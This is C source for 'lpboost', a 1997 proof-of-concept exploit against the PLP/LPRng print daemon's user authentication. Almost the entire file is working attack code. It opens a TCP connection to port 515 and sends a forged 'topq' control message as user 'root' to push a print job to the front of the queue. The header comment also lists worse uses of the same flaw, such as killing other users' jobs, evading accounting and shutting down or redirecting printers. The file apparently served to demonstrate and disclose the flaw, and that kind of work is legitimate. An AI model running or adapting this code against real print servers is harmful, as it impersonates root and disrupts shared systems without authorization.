    /*
     * lpboost.c
     *
     * Simple  exploit  to  demonstrate  problem  with PLP/LPRng  user
     * `authentication': boost your print job's priority by moving  it
     * to the top of the queue.
     *
     * This is the most harmless exploit of this problem. More serious
     * ones  include circumvention  of the  accounting system, killing
     * other  users' jobs,  shutting down  printers, redirecting them,
     * etc.
     *
     * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
     */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <errno.h>

    static int      doconnect(char *hostname);
    static void     dosend(int fd, unsigned char ch, char *string);

    int
    main(int argc, char **argv)
    {
            char    buffer[8192];
            char    hostbuf[256], *hostname = hostbuf;
            int     fd;

            if (argc == 4) {
                    hostname = argv[3];
            } else if (argc != 3) {
                    fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
                    exit(1);
            } else {
                    /* If lpd.perms allows queue manipulation only from
                     * the local host (SERVER keyword), must use FQDN
                     * rather than localhost (127.0.0.1) */
                    gethostname(hostbuf, sizeof(hostbuf));
            }

            if ((fd = doconnect(hostname)) < 0) {
                    fprintf(stderr, "Failed to connect to %s: %s\n",
                            hostname, strerror(errno));
                    exit(1);
            }

            /* Assemble control message */
            sprintf(buffer, "%s %s topq %s %s",
                            argv[1],        /* printer */
                            "root",         /* user */
                            argv[1],        /* printer */
                            argv[2]);       /* job # */

            /* Transmit control message and pick up status */
            dosend(fd, 6, buffer);

            exit (0);
    }

    static int
    doconnect(char *hostname)
    {
            struct hostent  *hp;
            struct sockaddr_in sin;
            int             fd;

            if (!(hp = gethostbyname(hostname))) {
                    fprintf(stderr, "%s: unknown host\n", hostname);
                    exit(1);
            }

            memset(&sin, 0, sizeof(sin));
            sin.sin_family = AF_INET;
            sin.sin_addr = *(struct in_addr *) hp->h_addr;
            sin.sin_port = htons(515);

            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
                    perror("connect");
                    exit(1);
            }

            return fd;
    }

    static void
    dosend(int fd, unsigned char ch, char *string)
    {
            char    buffer[256], cr = '\n';
            int     slen = string? strlen(string) : 0;

            if (write(fd, &ch, 1) != 1 ||
                (string && (write(fd, string, slen) != slen
                         || write(fd, &cr, 1) != 1))) {
                    perror("write");
                    exit(1);
            }

            while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
                    buffer[slen] = '\0';
                    fprintf(stderr, "lpd: %s\n", buffer);
            }
            if (slen == 0 || errno == EPIPE)
                    return;
            perror("read (errmsg)");
            exit(1);
    }
